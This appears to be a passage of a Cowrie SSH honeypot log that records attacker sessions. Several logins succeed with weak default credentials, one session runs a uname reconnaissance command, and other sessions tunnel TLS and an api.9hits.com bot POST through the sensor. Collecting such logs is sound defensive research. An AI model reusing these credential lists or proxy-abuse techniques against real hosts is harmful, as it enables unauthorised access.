deflate\\r\\n\\r\\n_=bUEwSiQpWmh1Wkx5azdISw%3D%3D7i6lUjnA9YUDFRKrRT3SUMa0xUKf3DFINhw%2F7DoIwBuH88iNKcWeIkPgH%2BZqWTPMuFhKP6OaD%2BZCcXhHCVBh7LD5D3s303AOChY5lkf%2B%2Fwvyxp4Ti1RJkbGBOqgnFX8vfEz9zO6w%2BubWvycd%2BH5zztE9e8gtSR46433vddJLqiOcYq8DuZg15v8Yt4ARrVqWy4OXrgcU%2BOurmkm4i3cz0p7iW9xn2huQuBYMZr0ib8aK%2F%2BJ%2BQ8YzViqr5LsFY4Rtr5zMHuysQcncZGa1FOl6AbHzG%2Fpf529U6Fju2tjZv5dKc2Z52EOYKGVwiOXlgnI1D2FaIYJ1wxVYUkraT6zklveu0tfceQYXYX3x8%2Fs3haobfqP%2BCq0vVuPInbAKp9k5HIZ6PV8gXsdunqunO9ByKK2ablBr04Zlum%2B7SeOk8YomFsRPr2Sd7yhUFWwN%2BSrd2pgO8hcOPufFQ1XTgj0yA8JHd5WbDklytz03aJyVFg8whOd%2B3AvaBiqTTqFXS9h%2BKb3UrW9oOcmUpSNJnMB8yq%2FuSupcdh%2Ff3QaOCZ%2BJQvL09hDafWF5jjcdLOljfIGeGX3JtTO8Un69AWIcHq2iqjlXzNfhDuiMC8dkZzMB8L%2BJQL2cU%2BehFRDcET55ljMGOlJ0T6TqI2gIGhfdkf1WyA1vRWG6d5iMcCzd6Wk%2FXYiE1HXEZBNa%2FTX9ef%2FkrCZzQ0qvUOz%2BHXay62vfReYVmmnPpWNX%2Bu2gyrouFFiguTU452njXOhFvi266H6cTKcz9G9JE12ig1jS7P1V979Of6p98%2B0R5%2FLlN%2BY5CEUdrbO3vN42Zg2QHUMIYYcwDYyLk6rHZeCxswxChXy6XUZfbRWB%2FMeQKS4HFpWazJc6EvBgwiqJUPDoqXqrXpkiLsnLYx0lTYoACYdkKFs3dxfHxakRnu4%2BUQGgtN0jJ6swH6%2BlF9H7tWbVkFaNJ%2FUiV7thpF7RjDp8uzGbSS3oSxX1HvSHRnyghGB04HGuFQX5RgIZL4C2a86tcZBMJkKPwu9nqAz4y2g6OOMzJkd1AcmHAzoWhZmshndsuEMPIhHWi4NKrMHxuggpv2djBa2Ay%2BMD'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.306263Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.569960Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\x02\\xa9D\\xc9\\x87\\xe8\\xd0oHm!\\x01\\x99\\xaci\\x97I`r\\x9b\\xa5 o\\xd5R\\'m?\\x850\\xd5 ai~s\\xff\\xa5\\xc0\\x13H\\x8d\\xcb_u\\xa7C@\\xae\\xbd\\xd4\"\\x92\\x93\\xf3a\\xc6w\\x17\\x97\\xfeq\\xe3+\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15\"R\\xba\\xa5\\xf2\\x8fc\\x14\\xedi\"{\\xcf\\xd8q\\x0cr\\xbd\\x9e_i[\\xc7u\\xb9,\\xa8\\x7fznK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\x02\\xa9D\\xc9\\x87\\xe8\\xd0oHm!\\x01\\x99\\xaci\\x97I`r\\x9b\\xa5 o\\xd5R\\'m?\\x850\\xd5 ai~s\\xff\\xa5\\xc0\\x13H\\x8d\\xcb_u\\xa7C@\\xae\\xbd\\xd4\"\\x92\\x93\\xf3a\\xc6w\\x17\\x97\\xfeq\\xe3+\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15\"R\\xba\\xa5\\xf2\\x8fc\\x14\\xedi\"{\\xcf\\xd8q\\x0cr\\xbd\\x9e_i[\\xc7u\\xb9,\\xa8\\x7fznK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.572765Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:14.106441Z","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:14.380293Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|+\\xa5\\xd9*:\\x990\\xf7\\x95\\xd1x\\xcc\\x93\\x87\\xad\\x87\\xe5\\xec\\n\\xf2n\\x16\\x8az\\xbd\\xdf\\x84\\x87\\x89\\xcc\\xe5 \\xb3\\x9c\\xce\\xbdz\\xff\\x97x\\xf2l)\\tzsU\\xe6\\x97\\xd1c{\\xaf\\xc9H\\x90\\x13VU\\xcf\\xc8\\xb5\\x11\\xae\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\x87\\xb7\\xb3\\xf1;b\\xf6\\x93\\x94\\x89\\xdd\\t\\x01!\\x923C\\xc5d\\xc0\\x1a\\xee\\x9dH\\xa1\\xfc>i,\\xfeX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|+\\xa5\\xd9*:\\x990\\xf7\\x95\\xd1x\\xcc\\x93\\x87\\xad\\x87\\xe5\\xec\\n\\xf2n\\x16\\x8az\\xbd\\xdf\\x84\\x87\\x89\\xcc\\xe5 \\xb3\\x9c\\xce\\xbdz\\xff\\x97x\\xf2l)\\tzsU\\xe6\\x97\\xd1c{\\xaf\\xc9H\\x90\\x13VU\\xcf\\xc8\\xb5\\x11\\xae\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\x87\\xb7\\xb3\\xf1;b\\xf6\\x93\\x94\\x89\\xdd\\t\\x01!\\x923C\\xc5d\\xc0\\x1a\\xee\\x9dH\\xa1\\xfc>i,\\xfeX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:14.383853Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:14.780653Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55699,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c10d865255","protocol":"ssh","message":"New connection: 173.208.188.210:55699 (10.17.0.5:22) [session: 63c10d865255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:15.372091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:15.377594Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:15.560292Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"baseball","message":"login attempt [oracle/baseball] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:15.773419Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:17.294569Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:17.832957Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:17.836063Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:19.158584Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:19.162663Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ab987f38f1","protocol":"ssh","message":"New connection: 91.92.40.36:59510 (159.203.135.109:22) [session: c7ab987f38f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:19.495230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:20.307981Z","src_ip":"91.92.40.36","session":"c7ab987f38f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:21.114582Z","src_ip":"91.92.40.36","session":"c7ab987f38f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:23.229223Z","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:23.263496Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Y21L Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 